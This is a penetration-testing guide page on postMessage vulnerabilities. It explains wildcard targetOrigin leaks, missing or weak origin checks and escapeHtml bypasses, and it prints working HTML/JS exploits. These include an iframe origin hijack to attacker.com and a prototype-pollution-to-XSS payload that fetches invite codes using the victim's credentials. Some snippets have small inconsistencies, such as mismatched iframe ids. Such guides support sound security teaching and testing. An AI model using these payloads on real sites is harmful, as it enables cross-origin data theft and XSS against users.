hacktricks/pentesting-web/postmessage-vulnerabilities.md

7.2 KiB

PostMessage Vulnerabilities

Send PostMessage

PostMessage uses the following function to send a message:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

Note that **targetOrigin **can be a '*' or an URL like https://company.com.
__In the second scenario, the message can only be sent to that domain (even if the origin of the window object is different).
If the **wildcard **is used, messages could be sent to any domain, and will be sent to the origin of the Window object.

Attacking iframe & wilcard in **targetOrigin **

As explained in this report if you find a page that can be **iframed **(no X-Frame-Header protection) and that is **sending sensitive **message via **postMessage **using a **wildcard **(*), you can **modify **the **origin **of the **iframe **and **leak **the **sensitive **message to a domain controlled by you.
Note that if the page can be iframed but the targetOrigin is set to a URL and not to a wildcard, this trick won't work.

<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>
</html>

addEventListener exploitation

addEventListener is the function used by JS to declare the function that is expecting postMessages.
A code similar to the following one will be used:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Note in this case how the first thing that the code is doing is checking the origin. This is terribly important mainly if the page is going to do anything sensitive with the received information (like changing a password). If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints and change the victims passwords (in this example).

Enumeration

In order to **find event listeners **in the current page you can:

  • **Search the JS code for **window.addEventListener and $(window).on (JQuery version)
  • **Execute **in the developer tools console: getEventListeners(window)

  • **Go to **Elements --> Event Listeners in the developer tools of the browser

addEventListener check origin bypasses

  • If indexOf() is used to **check **the **origin **of the PostMessage event, remember that it can be easily bypassed like in the following example: ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")\

  • If search() is used to **validate **the **origin **could be insecure. According to the docs of String.prototype.search(), the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.
    In regular expression, a dot (.) is treated as a wildcard. An attacker can take advantage of it and **use **a **special domain **instead of the official one to bypass the validation, like in: "https://www.safedomain.com".search("www.s.fedomain.com").\

  • If escapeHtml function is used, the function does not create a new escaped object, instead it **overwrites properties **of the existing object. This means that if we are able to create an object with a controlled property that does not respond to hasOwnProperty it will not be escaped.

// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File object is perfect for this exploit as it has a read-only name property which is used by our template and will bypass escapeHtml function.

X-Frame-Header bypass

In order to perform these attacks ideally you will be able to put the victim web page inside an iframe. But some headers like X-Frame-Header can **prevent **that behaviour.
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

postMessage to Prototype Pollution and/or XSS

In scenarios where the data sent through postMessage is executed by JS, you can **iframe **the **page **and **exploit **the **prototype pollution/XSS **sending the exploit via postMessage.

A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Example of an exploit to abuse** Prototype Pollution and then XSS** through a postMessage to an iframe:

<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>

For more information:

References